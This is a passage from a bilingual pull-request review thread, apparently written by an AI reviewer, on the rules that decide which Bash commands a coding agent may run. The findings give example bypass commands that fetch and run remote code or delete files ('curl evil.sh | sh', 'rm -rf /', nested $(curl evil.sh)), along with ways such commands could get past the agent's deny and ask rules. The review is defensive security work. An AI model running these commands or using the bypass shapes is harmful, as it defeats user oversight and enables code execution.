新增的“仅赋值”身份守卫只在不含 * 的分支内执行，因此该形式的通配符孪生形态——Bash(FOO=*)（以及 A=* B=*、带引号的 FOO="*"）会跳过守卫、落入 glob 分支，编译为 ^FOO=.*$，从而静默自动批准任意 FOO=<值> <任意命令>：配置规则 Bash(FOO=*) 时，命令 FOO=bar curl evil.sh | sh 会直接得到 'allow' 且无任何提示——即任意命令执行。这正是守卫自身注释声称要阻止的放宽，而且代码自己的分类器也认定该模式是仅赋值（isAssignmentOnlyPermissionPattern('FOO=*') === true），守卫却根本看不到它。可达表面是手写的 settings/skill allowedTools 规则（授权流程产不出仅赋值规则；AUTO 模式会把该规则按危险剥离）——与 R2-4 作为 Critical 提交时相同的表面。本次修改之前该规则是惰性的——命令身份被剥离为 curl evil.sh，^FOO=.*$ 无法匹配——因此这一放宽由本 diff 引入。
修复建议：把仅赋值检查提升到 includes('*') 分叉之上，做成双向不变量：当 isAssignmentOnlyPermissionPattern(normalizedPattern) 成立时，仅当规范化后的命令也全部是赋值（每个分词都匹配 ENV_ASSIGNMENT_REGEX）时才允许匹配，然后在该空间内比较——FOO=* 仍匹配 FOO=bar，但永不匹配 FOO=bar curl evil.sh。
修复约束：matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true（rule-parser.env-prefix.test.ts 的 'keeps glob-valued env assignments intact…'）必须保持为真，因此该门只能在模式分词全部为赋值时触发，模式同时含有命令词时绝不能触发。修复验收标准：在 rule-parser.env-prefix.test.ts 的 'does not widen assignment-only rules into arbitrary commands' 中补充 expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false) 与 expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true)，并在移除提升后的守卫后确认第一条断言变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if (/\s/.test(ch)) { | ||
| if (result) pendingSpace = true; | ||
| continue; | ||
| } |
There was a problem hiding this comment.
[Critical] R1-8: (fix-induced) [certifies-falsely] Last round's fix for R1-8/R2-3 closed the reported input — whitespace is now canonicalized on both sides — but the new collapseUnquotedWhitespace chooses JavaScript's \s class as its word boundary while bash's default IFS is only space/tab/newline. So \v, \f, \r and NBSP split words for the permission model while staying inside ONE assignment word for bash, and the model can authorize a different program than bash executes: a user who Always-Allows FOO=bar x hi gets the rule Bash(FOO=bar x *) (this PR's new prefixed grant generation), and the command FOO=bar\x0bx curl evil.sh (VT char, valid in a JSON tool argument) executes curl evil.sh in bash — FOO=bar\x0bx is one assignment word — while the model collapses it to the identity FOO=bar x curl evil.sh, matches the rule, and auto-allows. Restrictive rules miss too: deny Bash(curl *) matches neither the full identity nor the stripped x curl evil.sh while bash executes curl. shell-quote's wide word splitting predates this PR, but this diff builds its identity model on it (collapseUnquotedWhitespace is new code choosing the \s boundary), and the env-prefixed rule shapes that carry the attack are newly live and matched because of this diff.
Witness:
bash 5.2 IFS: space/tab/newline only; FOO=bar\vx echo WORD_KEPT_TOGETHER keeps one assignment word (same for \f, \r, NBSP)
matcher: shell-quote tokens ["FOO=bar","x","curl","evil.sh"]; matchesCommandPattern("FOO=bar x *", attack) = true
evaluate allow:['Bash(FOO=bar x *)'] = allow; allow:['Bash(*)'] deny:['Bash(curl *)'] + attack = allow (control 'curl evil.sh' = deny)
extractCommandRules('FOO=bar x hi') = ["FOO=bar x *"]
Constrain the model's word boundary to bash IFS: collapse only space and tab (newlines are already split by splitCompoundCommandSegments), and treat unquoted occurrences of the remaining \s characters (\v, \f, \r, NBSP) as unparseable for identity purposes so such commands resolve to ask instead of matching.
The fix must keep the tab canonicalization this same PR adds green — rule-parser.env-prefix.test.ts asserts matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /') === true and the mirrored rule-side-tab pair, so tab/space/newline must stay collapsible. Add to rule-parser.env-prefix.test.ts expect(matchesCommandPattern('FOO=bar x *', 'FOO=bar\u000bx curl evil.sh')).toBe(false) plus \f/\r variants and an end-to-end pm.evaluate not resolving to 'allow'; reverting the boundary to /\s/ must turn them red.
中文说明
上一轮对 R1-8/R2-3 的修复闭合了其报告的输入——现在两侧都会做空白规范化——但新引入的 collapseUnquotedWhitespace 选择了 JavaScript 的 \s 类作为词边界，而 bash 的默认 IFS 只有空格/制表符/换行。因此 \v、\f、\r、NBSP 在权限模型中会分词，在 bash 中却仍属于同一个赋值词，模型可能授权一个与 bash 实际执行不同的程序：用户“始终允许” FOO=bar x hi 会得到规则 Bash(FOO=bar x *)（本 PR 新的带前缀授权生成），而命令 FOO=bar\x0bx curl evil.sh（VT 字符，在 JSON 工具参数中合法）在 bash 中执行的是 curl evil.sh——FOO=bar\x0bx 是一个赋值词——模型却把它折叠为身份 FOO=bar x curl evil.sh，命中规则，自动放行。限制性规则同样失配：deny Bash(curl *) 对完整身份和剥离后的 x curl evil.sh 都不匹配，而 bash 正在执行 curl。shell-quote 的宽分词早于本 PR，但本 diff 把身份模型建立在其上（collapseUnquotedWhitespace 是选择 \s 边界的新代码），且承载该攻击的带环境前缀规则形态正是因为本 diff 才变得可用、可匹配。
修复建议：把模型的词边界限制为 bash IFS：只折叠空格和制表符（换行已由 splitCompoundCommandSegments 切分），并把其余 \s 字符（\v、\f、\r、NBSP）的未加引号出现视为身份上不可解析，使此类命令落到 ask 而不是匹配成功。
修复约束：本 PR 新增的制表符规范化必须保持为真——rule-parser.env-prefix.test.ts 断言 matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /') === true 及其镜像的规则侧制表符配对，因此空格/制表符/换行必须仍可折叠。修复验收标准：在 rule-parser.env-prefix.test.ts 中补充 expect(matchesCommandPattern('FOO=bar x *', 'FOO=bar\u000bx curl evil.sh')).toBe(false) 及 \f/\r 变体，并加上端到端 pm.evaluate 不得解析为 'allow'；把边界还原为 /\s/ 后这些测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if (firstCommandToken > 0) { | ||
| return collapseUnquotedWhitespace(trimmed); | ||
| } |
There was a problem hiding this comment.
[Critical] R3-2: [certifies-falsely] [new-surface] With the env-prefixed identity matched as one string, a * contiguous with NAME= compiles to a .* that crosses unquoted whitespace, so VAR=* cmd * allow rules match commands that execute a DIFFERENT program with cmd demoted to a trailing argument: the rule Bash(NODE_OPTIONS=* npm *) (the shape for "npm with any NODE_OPTIONS") matches NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm and evaluates to 'allow' while bash executes sh -c … with npm as $0 — the rule approves a program it never names. Shell values cannot contain unquoted whitespace, so a value wildcard crossing spaces over-matches by construction. Pre-PR this rule shape matched nothing env-prefixed (the stripped identity sh -c … npm fails ^NODE_OPTIONS=), so the widening is introduced by this diff.
Witness:
matchesCommandPattern("NODE_OPTIONS=* npm *", "NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm") = true
evaluate allow:['Bash(NODE_OPTIONS=* npm *)'] = allow
bash 5.2: sh -c 'echo PWNED_PAYLOAD_RAN' npm → PWNED_PAYLOAD_RAN, $0=npm
pre-PR reconstruction of the same pair = false
When a * is contiguous with an assignment token, compile it as a value wildcard that cannot cross whitespace (e.g. [^ ]* instead of .*), keeping .* for all other positions; this also closes the FOO=* case in R3-1.
Two facts must stay green: (1) matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true in rule-parser.env-prefix.test.ts (the value has no spaces, so [^ ]* still matches); (2) the documented non-assignment word-boundary semantics — matchesCommandPattern('ls*', 'ls -la') === true in permission-manager.test.ts (~line 417) — so the whitespace ban must be scoped to stars attached to assignment tokens only. Add expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=x sh -c evil npm')).toBe(false) to rule-parser.env-prefix.test.ts; letting the value wildcard span whitespace again must turn it red.
中文说明
由于带环境前缀的身份现在按整串匹配，与 NAME= 紧邻的 * 会编译为跨越未加引号空白的 .*，因此 VAR=* cmd * 形式的 allow 规则会匹配到实际执行另一个程序、只把 cmd 降为尾参数的命令：规则 Bash(NODE_OPTIONS=* npm *)（“任意 NODE_OPTIONS 的 npm”的写法）会匹配 NODE_OPTIONS=x sh -c 'curl evil.sh|sh' npm 并给出 'allow'，而 bash 实际执行的是 sh -c …，npm 只是 $0——规则批准了一个它从未指名的程序。shell 的值不可能包含未加引号的空白，因此值通配符跨空格必然是过度匹配。本次修改之前该规则形态对任何带前缀命令都不匹配（剥离后的身份 sh -c … npm 无法命中 ^NODE_OPTIONS=），因此这一放宽由本 diff 引入。
修复建议：当 * 与赋值分词紧邻时，把它编译为不跨空白的值通配符（例如 [^ ]* 而非 .*），其余位置保持 .*；这同时闭合 R3-1 的 FOO=* 情形。
修复约束：两个事实必须保持为真：(1) rule-parser.env-prefix.test.ts 中 matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true（该值不含空格，[^ ]* 仍可匹配）；(2) 已文档化的非赋值词边界语义——permission-manager.test.ts 约第 417 行 matchesCommandPattern('ls*', 'ls -la') === true——因此禁止跨空格必须只作用于与赋值分词紧邻的星号。修复验收标准：在 rule-parser.env-prefix.test.ts 补充 expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=x sh -c evil npm')).toBe(false)；让值通配符重新跨空格后该测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| .map((child) => child.text) | ||
| .join(' ') | ||
| : ''; | ||
| const qualifiedRoot = envPrefix ? `${envPrefix} ${rootName}` : rootName; |
There was a problem hiding this comment.
[Critical] R1-2: (fix-induced) [certifies-falsely] [new-surface] The R1-2 fix landed this round (env-prefix-preserving rule generation) closes the dead-grant input, but it makes generated and hand-written specifiers carry assignment values, and parseRule's legacy :* → * rewrite (rawSpecifier.replace(/:(\*)/g, ' $1')) fires INSIDE those values: Always-Allow on FOO=a:* npm install persists Bash(FOO=a:* npm install), which re-parses to the specifier FOO=a * npm install and never matches the original command again — the grant silently never sticks and the user is re-prompted forever. The fail-open variant: a hand-written deny: ["Bash(FOO=a:* rm *)"] parses to FOO=a * rm *, does not match FOO=a:* rm -rf /, and with a broad allow the command evaluates to 'allow' — a restrictive rule silently disabled. Pre-PR, generation stripped the prefix, so this corruption was unreachable; the prefix-preserving generation opened it.
Witness:
extractCommandRules('FOO=a:* npm install') = ["FOO=a:* npm install"]
parseRule("Bash(FOO=a:* npm install)").specifier = "FOO=a * npm install"
matchesCommandPattern(parsed specifier, original command) = false (control: unparsed = true)
deny variant: evaluate allow:['Bash(*)'] deny:["Bash(FOO=a:* rm *)"] command 'FOO=a:* rm -rf /' = allow
Scope the legacy rewrite so it cannot fire inside an assignment token — e.g. apply it only when the whole specifier matches the legacy shape (/^\S+:\*$/), or skip the replacement when the text before the colon contains = with no intervening whitespace.
Bash(git:*) must still parse to specifier git * — pinned by permission-manager.test.ts 'handles legacy :* suffix (deprecated)' (~lines 270-273). Round-trip extractCommandRules('FOO=a:* npm install') through parseRule in rule-parser.env-prefix.test.ts and assert the specifier is unchanged (and/or that pm.evaluate returns 'allow' for the original command); removing the scoping condition must turn it red.
中文说明
本轮落地的 R1-2 修复（生成规则时保留环境前缀）闭合了“授权失效”的输入，但它使生成和手写的规则文本携带赋值值，而 parseRule 的遗留 :* → * 重写（rawSpecifier.replace(/:(\*)/g, ' $1')）会在这些值的内部触发：对 FOO=a:* npm install 执行“始终允许”会持久化 Bash(FOO=a:* npm install)，重新解析后变成 FOO=a * npm install，再也无法匹配原命令——授权静默失效，用户会被永远重复询问。开放失败的变体：手写 deny: ["Bash(FOO=a:* rm *)"] 解析为 FOO=a * rm *，不匹配 FOO=a:* rm -rf /，在宽 allow 下该命令评估为 'allow'——一条限制性规则被静默禁用。本次修改之前生成时会剥离前缀，该损坏不可达；保留前缀的生成使其变得可达。
修复建议：限定遗留重写的作用范围，使其不能在赋值分词内部触发——例如仅当整个规则文本匹配遗留形态（/^\S+:\*$/）时才应用，或当冒号前的文本包含 = 且中间没有空白时跳过替换。
修复约束：Bash(git:*) 必须仍解析为 git *——由 permission-manager.test.ts 的 'handles legacy :* suffix (deprecated)'（约 270-273 行）固定。修复验收标准：在 rule-parser.env-prefix.test.ts 中把 extractCommandRules('FOO=a:* npm install') 经 parseRule 往返并断言规则文本不变（以及/或 pm.evaluate 对原命令返回 'allow'）；移除作用范围限定后该测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if ( | ||
| matchesRule(rule, ...matchArgs, 'canonical') || | ||
| (restrictiveCommand !== command && | ||
| matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) | ||
| ) | ||
| return 'deny'; |
There was a problem hiding this comment.
[Suggestion] R3-3: No test covers compound commands whose env prefix sits on a non-leading segment. The per-segment restrictive double-match is currently correct — with deny Bash(rm -rf *), evaluate({command: 'echo hi && FOO=1 rm -rf /'}) resolves 'deny' (verified) — but only because evaluateSingle recomputes the stripped identity per segment, and nothing pins that composition: a refactor hoisting stripLeadingVariableAssignments from evaluateSingle up to evaluate()'s compound-split entry would survive every current test (the strip returns 'echo hi && FOO=1 rm -rf /' unchanged since the first token echo is not an assignment, so the restrictiveCommand !== command guard short-circuits) and silently bypass the deny rule on the FOO=1 rm -rf / segment — exactly the attack shape this PR closes.
Witness:
evaluate allow:['Bash(*)'] deny:['Bash(rm -rf *)'] command "echo hi && FOO=1 rm -rf /" = deny
grep: 43 `&&` cases in permission-manager.test.ts, none combines an env prefix on a non-leading segment
with a restrictive rule; rule-parser.env-prefix.test.ts uses single commands only
Add to rule-parser.env-prefix.test.ts: with allow Bash(*) and deny Bash(rm -rf *), pm.evaluate({command: 'echo hi && FOO=1 rm -rf /'}) resolves 'deny' (and the ask analogue echo hi && FOO=bar git push --force vs ask Bash(git push *)); and with only allow Bash(npm *), echo hi && FOO=1 npm install does not resolve 'allow'. The proposed tests are their own acceptance criterion: moving the strip out of evaluateSingle makes the deny/ask cases resolve past the restrictive rules, so the tests red without the per-segment placement.
中文说明
没有测试覆盖“环境前缀位于复合命令非首段”的情形。当前按段的双重限制性匹配是正确的——配置 deny Bash(rm -rf *) 时 evaluate({command: 'echo hi && FOO=1 rm -rf /'}) 解析为 'deny'（已实测）——但这仅仅因为 evaluateSingle 会按段重新计算剥离后的身份，而没有任何测试固定这一组合方式：把 stripLeadingVariableAssignments 从 evaluateSingle 提升到 evaluate() 的复合命令切分入口的重构，可以通过现有全部测试（剥离对 'echo hi && FOO=1 rm -rf /' 原样返回，因为首词 echo 不是赋值，restrictiveCommand !== command 守卫短路），并在 FOO=1 rm -rf / 段上静默绕过 deny 规则——正是本 PR 要闭合的攻击形态。
修复建议：在 rule-parser.env-prefix.test.ts 中新增：配置 allow Bash(*) 与 deny Bash(rm -rf *) 时，pm.evaluate({command: 'echo hi && FOO=1 rm -rf /'}) 解析为 'deny'（以及 ask 对应：echo hi && FOO=bar git push --force 对 ask Bash(git push *)）；仅配置 allow Bash(npm *) 时，echo hi && FOO=1 npm install 不解析为 'allow'。修复验收标准即上述测试本身：把剥离移出 evaluateSingle 会使 deny/ask 用例绕过限制性规则解析，因此移除按段放置后测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| const restrictiveCommand = | ||
| command !== undefined && SHELL_TOOL_NAMES.has(toolName) | ||
| ? stripLeadingVariableAssignments(command) |
There was a problem hiding this comment.
[Suggestion] R3-4: The identical ~15-line restrictiveCommand/restrictiveMatchArgs construction is pasted verbatim into four methods — evaluateSingle (~409), findMatchingDenyRule (~953), hasRelevantRules (~1127), hasMatchingAskRule (~1243) — and the matchesRule(…) || (restrictiveCommand !== command && matchesRule(…restrictiveMatchArgs, 'canonical')) predicate appears at five sites. The legacy-identity policy this PR iterated over three review rounds now lives in four independent copies: any future correction to the legacy-identity computation (strip semantics, tool set, normalization) must be replicated at every site, and missing one silently diverges deny/ask coverage between entry points — e.g. hasRelevantRules reports no relevant rules while evaluate() would deny, or findMatchingDenyRule fails to name a rule evaluate() enforced. That asymmetric-coverage failure is precisely the defect class this PR exists to prevent.
Witness:
four identical construction blocks: permission-manager.ts evaluateSingle 409-421, findMatchingDenyRule 953-966,
hasRelevantRules 1126-1139, hasMatchingAskRule 1239-1252; five double-match predicates;
current behavior verified correct ("echo hi && FOO=1 rm -rf /" = deny)
Extract a private helper on PermissionManager (e.g. matchesRestrictiveRule(rule, matchArgs, toolName, command)) that computes the stripped identity once and applies the dual-match predicate, and call it from all four sites.
Allow rules must not receive the restrictive second match — evaluateSingle's allow branch (if (matchesRule(rule, ...matchArgs)) return 'allow';, ~line 458) and hasRelevantRules' allowRules.some((rule) => matchesRule(rule, ...matchArgs)) (~line 1148) intentionally match the full identity only; the extracted helper must not leak into the allow path.
中文说明
完全相同的约 15 行 restrictiveCommand/restrictiveMatchArgs 构造被逐字粘贴进四个方法——evaluateSingle（约 409）、findMatchingDenyRule（约 953）、hasRelevantRules（约 1127）、hasMatchingAskRule（约 1243）——且 matchesRule(…) || (restrictiveCommand !== command && matchesRule(…restrictiveMatchArgs, 'canonical')) 谓词出现在五处。本 PR 经过三轮评审迭代出的遗留身份策略现在存于四份独立副本：未来对遗留身份计算的任何修正（剥离语义、工具集合、规范化）都必须在每一处重复，漏掉一处就会让各入口的 deny/ask 覆盖静默分叉——例如 hasRelevantRules 报告无相关规则而 evaluate() 本应拒绝，或 findMatchingDenyRule 说不出 evaluate() 实际执行的那条规则。这种覆盖不对称正是本 PR 要预防的缺陷类别。
修复建议：在 PermissionManager 上抽取一个私有辅助方法（如 matchesRestrictiveRule(rule, matchArgs, toolName, command)），只计算一次剥离身份并应用双重匹配谓词，四个调用点统一调用。
修复约束：allow 规则绝不能获得限制性二次匹配——evaluateSingle 的 allow 分支（if (matchesRule(rule, ...matchArgs)) return 'allow';，约 458 行）与 hasRelevantRules 的 allowRules.some((rule) => matchesRule(rule, ...matchArgs))（约 1148 行）有意只按完整身份匹配；抽取的辅助方法不得渗入 allow 路径。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| const nameNode = commandNode.childForFieldName('name'); | ||
| const envPrefix = nameNode | ||
| ? commandNode.namedChildren |
There was a problem hiding this comment.
[Suggestion] R3-5: Rule generation with multiple leading assignments is untested — the new envPrefix collection is exercised only with single prefixes, while the matcher side deliberately pins a three-prefix GIT_CONFIG_* identity. The code is correct today — extractCommandRules('A=1 B=2 npm install express') returns ['A=1 B=2 npm install *'], and the three-prefix GIT_CONFIG command round-trips to 'allow' (both verified) — but if the filter/join mishandles multiple variable_assignment children, extractCommandRules emits a rule that does not round-trip: the persisted Always-Allow grant silently never matches, and the user is re-prompted forever for a command they already approved, with no failing test to catch it.
Witness:
extractCommandRules('A=1 B=2 npm install express') = ["A=1 B=2 npm install *"]
extractCommandRules('GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short')
= ["GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status *"]
both round-trip to 'allow'; generation tests cover single prefixes only (shellAstParser.test.ts:1064-1071)
Extend the renamed 'preserves env var prefixes in generated rules' case (or the round-trip test) with a multi-prefix input, e.g. extractCommandRules('A=1 B=2 npm install express') → ['A=1 B=2 npm install *'], and round-trip a three-prefix GIT_CONFIG_* command through extractCommandRules → Bash(...) → pm.evaluate → 'allow'. The proposed round-trip assertion is the acceptance criterion: any mutation that drops or reorders collected assignments in envPrefix makes the generated rule fail to match its source command, so the test reds.
中文说明
多前缀赋值的规则生成没有测试——新的 envPrefix 收集只在单前缀下运行过，而匹配器一侧却刻意固定了三前缀的 GIT_CONFIG_* 身份。当前代码是正确的——extractCommandRules('A=1 B=2 npm install express') 返回 ['A=1 B=2 npm install *']，三前缀 GIT_CONFIG 命令往返得到 'allow'（均已实测）——但如果 filter/join 处理多个 variable_assignment 子节点出错，extractCommandRules 会产出一条无法往返的规则：持久化的“始终允许”授权静默失效，用户会对一个已经批准过的命令永远重复收到询问，而且没有任何失败的测试能发现它。
修复建议：在改名后的 'preserves env var prefixes in generated rules' 用例（或往返测试）中加入多前缀输入，例如 extractCommandRules('A=1 B=2 npm install express') → ['A=1 B=2 npm install *']，并把三前缀 GIT_CONFIG_* 命令经 extractCommandRules → Bash(...) → pm.evaluate → 'allow' 完整往返。修复验收标准即该往返断言：任何丢弃或打乱 envPrefix 中收集到的赋值的突变都会使生成的规则无法匹配其源命令，测试变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R3-4 identical ~15-line restrictiveCommand/restrictiveMatchArgs construction pasted into four permission-manager.ts methods — still stands — already reported (comment 3887899042)
Not explored to full depth (tool budget reached): "agent reverse-audit (round 3)": (none — completed within budget).
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Deferred under the convergence posture (round 4, not a blocker) — recorded, not requested in this round:
packages/core/src/permissions/rule-parser.env-prefix.test.ts:201 — [probe] no cross-prefix-value negative case in the round-trip/matcher testspackages/core/src/permissions/rule-parser.env-prefix.test.ts:216 — [probe] AUTO classification of assignment-only and concrete prefixed rules unpinnedpackages/core/src/utils/shellAstParser.ts:1275 — [probe] literal * in an approved command's env value becomes a wildcard in the persisted grantpackages/core/src/permissions/rule-parser.env-prefix.test.ts:93 — [probe] quoted env-value preservation test has no quote-opacity negative pin
Convergence: round 4 posted 5 inline comment(s), 5 of them reported for the first time; the previous round posted 7 (7 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 3; 4 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未探索到全部深度（达到工具调用预算）："agent reverse-audit (round 3)"：(none — completed within budget)。
未审查：反向审计——在 5 轮的反审轮数上限内未收敛。
收敛姿态下延后（第 4 轮，非阻断）——已记录，本轮不要求修改：共 4 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 4 轮发布了 5 条行内评论，其中 5 条是首次提出；上一轮发布了 7 条（其中 7 条首次提出）。发现反复回到同一批文件：packages/core/src/permissions/rule-parser.ts（第 1、3 轮已出过发现，本轮又有 4 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.3)
| // No word boundary: "ls*" → `ls` followed by anything | ||
| regex += escapeRegex(literalBefore); | ||
| regex += '.*'; | ||
| regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; |
There was a problem hiding this comment.
[Critical] R3-2: (fix-induced) [certifies-falsely] [regression] The round-4 fix for R3-2 closed the reported input — unquoted value wildcards are now bounded to [^ ]* — but the bounding is escaped in two executed directions, both in the hand-rolled scanner/regex-builder pair this class of finding keeps returning to (R1-8, R1-10, R2-7, R2-8, R3-1 and now these). First: a * quoted inside a leading NAME=value pattern word is never recorded by findUnquotedAssignmentValueWildcardPositions (its quote state skips it), so the builder above falls back to unbounded .*, which crosses the closing quote — the exact crossing the comment two lines above forbids. A rule Bash(FOO="*" npm *) then silently auto-approves FOO="x" npm" npm install evil", which bash executes as assignment FOO=x plus ONE word npm npm install evil — an attacker-planted binary whose filename contains a space. Second: a * nested inside a command substitution in an env-prefix value escapes the same bounding — an approved command FILES=$(ls *.txt) npm run process persists the grant Bash(FILES=$(ls *.txt) npm run *), and the later command FILES=$(ls $(curl evil.sh).txt) npm run build matches it and resolves to 'allow' end-to-end (the substitution-aware ask fallback fires only on 'default', never after a rule match), while bash executes the inner $(curl evil.sh) while expanding the assignment. Folded evidence of the same root: quote-variant deny evasion (FOO='bar' rm -rf / evades Bash(FOO=bar rm -rf *) — also new surface, env-prefixed deny rules matched nothing pre-PR) and space-bearing-word undermatch siblings. Close the class structurally: derive the match from the shared authoritative tokenization already used on both sides (permissionMatchTokens/shell-quote, tree-sitter on the extraction side) — e.g. token-level glob matching — instead of compiling a regex from raw pattern text; as immediate hardening, record stars inside quoted regions and inside substitution bodies of leading NAME=value words into the containment set (or treat them as literal), and refuse to emit env-prefixed grants whose assignment values contain a * anywhere.
Witness:
HEAD: matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"') = true
evaluate allow:['Bash(FOO="*" npm *)'] = 'allow' (control unquoted-star pattern = false)
bash: words=1, word=[npm npm install evil]; planted executable exits 0
HEAD: extractCommandRules('FILES=$(ls *.txt) npm run process') = ['FILES=$(ls *.txt) npm run *']
matchesCommandPattern(rule, 'FILES=$(ls $(curl evil.sh).txt) npm run build') = true
pm.evaluate = 'allow'; evaluatePermissionRules finalPermission = 'allow'
BASE: extraction dropped the prefix ('npm run *') -> same command resolves 'ask'
FLIP: containment mutant (record quoted stars) -> false / 'ask', all 23 existing env-prefix tests green
revert of the three extraction hunks -> ['npm run *'], 'ask'
The containment extension must keep the R3-2 semantics pinned by 'keeps env-value wildcards inside the assignment shell word' in rule-parser.env-prefix.test.ts: NODE_OPTIONS=* npm * keeps rejecting NODE_OPTIONS=x sh -c evil npm while matching NODE_OPTIONS=--require=*evil.cjs npm --version. Add expect(matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"')).toBe(false) and expect(matchesCommandPattern('FILES=$(ls *.txt) npm run *', 'FILES=$(ls $(curl evil.sh).txt) npm run build')).toBe(false) — removing the containment extension must turn both red.
中文说明
本轮对 R3-2 的修复闭合了其报告的输入——未加引号的赋值值通配符现在被限制为 [^ ]*——但该限制在两个已实测方向上被绕过，二者都属于这一类发现反复出现的根源：手工扫描器/正则构建器与 shell 词语义的分歧（此前已有 R1-8、R1-10、R2-7、R2-8、R3-1）。其一：前置 NAME=value 模式词中带引号的 * 不会被 findUnquotedAssignmentValueWildcardPositions 记录（其引号状态直接跳过引号内部），于是上方构建器回退到无界的 .*，可以跨越闭合引号——正是上方两行注释明令禁止的跨越。规则 Bash(FOO="*" npm *) 因此会静默自动批准 FOO="x" npm" npm install evil"，而 bash 把该命令执行为赋值 FOO=x 加单个词 npm npm install evil——即文件名含空格的攻击者植入二进制。其二：环境前缀值中嵌套在命令替换内的 * 同样绕过该限制——批准 FILES=$(ls *.txt) npm run process 会持久化授权 Bash(FILES=$(ls *.txt) npm run *)，之后的命令 FILES=$(ls $(curl evil.sh).txt) npm run build 能匹配该规则并端到端解析为 'allow'（替换感知的 ask 回退只在 'default' 时触发，规则匹配后永不触发），而 bash 在展开赋值时会执行内层的 $(curl evil.sh)。同根因的折叠证据：引号变体对 deny 规则的绕过（FOO='bar' rm -rf / 可绕过 Bash(FOO=bar rm -rf *)——同样是新表面，PR 之前带前缀的 deny 规则什么都匹配不到）以及含空格单词的欠匹配兄弟形态。请从结构上闭合该类问题：用双侧已在使用的权威分词（permissionMatchTokens/shell-quote，提取侧为 tree-sitter）派生匹配——例如分词级 glob 匹配——而不是从原始规则文本编译正则；作为即时加固，把前置 NAME=value 词的引号区域内、替换体内的星号记入限制集合（或按字面量处理），并拒绝为赋值值中任意位置含 * 的命令生成带前缀授权。
修复约束：限制扩展必须保持 rule-parser.env-prefix.test.ts 中 'keeps env-value wildcards inside the assignment shell word' 固化的 R3-2 语义：NODE_OPTIONS=* npm * 继续拒绝 NODE_OPTIONS=x sh -c evil npm，同时继续匹配 NODE_OPTIONS=--require=*evil.cjs npm --version。修复验收标准：补充 expect(matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"')).toBe(false) 与 expect(matchesCommandPattern('FILES=$(ls *.txt) npm run *', 'FILES=$(ls $(curl evil.sh).txt) npm run build')).toBe(false)——移除该限制扩展后两条断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| rawSpecifier = rawSpecifier.replace( | ||
| /(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g, |
There was a problem hiding this comment.
[Critical] R1-2: (fix-induced) [certifies-falsely] [regression] This token-bounded rewrite — the round-4 fix for the carried R1-2 — closed the reported input (:* no longer fires inside env assignment values), but its exclusion class is wider than its rationale: it excludes = anywhere in the preceding token, and --registry=https://x fails ENV_ASSIGNMENT_REGEX, so it is NOT an assignment token. Legacy restrictive rules with :* glued to a token containing = are therefore no longer rewritten: Bash(npm --registry=https://x:*) keeps the :*, the star is neither space-preceded nor an assignment-value wildcard, the compiled regex requires a literal : after the value, and a previously denied command no longer matches — the deny rule is silently disabled (the same shape in an ask rule silently skips the prompt). The git:** / curl:*.evil.com lookahead-loss shapes are the same rewrite-scope surface. Verified scope correction: quoted-token variants (Bash(git log --pretty="%h":*)) are NOT a regression — the base arm allowed them too. Narrow the protection to genuine leading assignment words instead of blanket-excluding =/quotes:
rawSpecifier = rawSpecifier.replace(
/(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g,
(m, lead, token) => (ENV_ASSIGNMENT_REGEX.test(token) ? m : `${lead}${token} *`),
);so FOO=a:* stays protected while --flag=val:* rewrites exactly as pre-PR.
Witness:
BASE: parseRule('Bash(npm --registry=https://x:*)').specifier = 'npm --registry=https://x *'
evaluate(allow ['Bash(*)'], deny [rule], 'npm --registry=https://x install') = 'deny'
findMatchingDenyRule = 'Bash(npm --registry=https://x:*)'
PR: specifier = 'npm --registry=https://x:*'
